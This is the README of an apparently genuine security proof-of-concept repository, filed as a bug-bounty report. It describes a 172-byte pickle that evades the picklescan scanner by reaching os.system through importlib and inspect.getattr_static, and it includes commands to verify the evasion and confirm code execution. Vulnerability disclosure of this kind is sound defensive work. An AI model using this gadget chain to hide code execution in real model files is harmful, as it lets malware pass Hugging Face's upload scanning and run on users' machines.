xry6/huntr-picklescan-bypass-poc

huntr Model File Format submission — Pickle scanner bypass PoC

This repository contains a single malicious pickle file demonstrating a working bypass of picklescan v1.0.4 (the scanner that powers Hugging Face Hub's pickle-safety check on uploads).

Files

• model.pkl — 172-byte pickle that runs os.system(...) on pickle.loads(). The command writes a marker file to /tmp/ and does nothing else.

What the pickle does on load

m = importlib.import_module("os")          # Suspicious global #1
f = inspect.getattr_static(m, "system")    # Suspicious global #2
f("echo \"...\" > /tmp/huntr_pickle_bypass_proof_<tag>")

Both globals (importlib.import_module and inspect.getattr_static) are graded Suspicious by picklescan, which does not increment issues_count. The CLI exits 0 (clean) and HuggingFace Hub's scanning pipeline reports the file as having no detected issues.

The dangerous string "system" only appears as a SHORT_BINSTRING argument to REDUCE, never as a pickle GLOBAL/STACK_GLOBAL opcode. The scanner sees only the two Suspicious resolvers and rates the file as clean.

Verifying the bypass yourself

pip install picklescan==1.0.4
git clone https://huggingface.co/<this-repo>
cd <this-repo>
picklescan -p model.pkl
# ----------- SCAN SUMMARY -----------
# Scanned files: 1
# Infected files: 0
# Dangerous globals: 0
# (exit code 0 = clean)

# Confirm RCE in a sandbox you don't mind touching:
python -c "import pickle; pickle.loads(open('model.pkl','rb').read())"
ls /tmp/huntr_pickle_bypass_proof_*  # marker file exists -> RCE confirmed

Scope

• This is a security PoC, not a real model.
• Loading executes ONE shell command that writes to /tmp/.
• Reported to huntr.com on 2026-05-20 under the Model File Format bounty track (Pickle, $1,500 tier — "Unique methods to bypass our existing model scanning tools").
• Filed by GitHub user yagcioglutoprak.

Related advisories

• GHSA-vvpj-8cmc-gx39 — pkgutil.resolve_name bypass (the structural twin)
• GHSA-g38g-8gr9-h9xp — earlier denylist bypass via uuid._get_command_stdout
• GHSA-7wx9-6375-f5wh — incomplete denylist for profile.run
• GHSA-x5w2-265w-4cph — marshal.loads + types.FunctionType chain bypass

This bypass is a fresh gadget chain not covered by any of the above.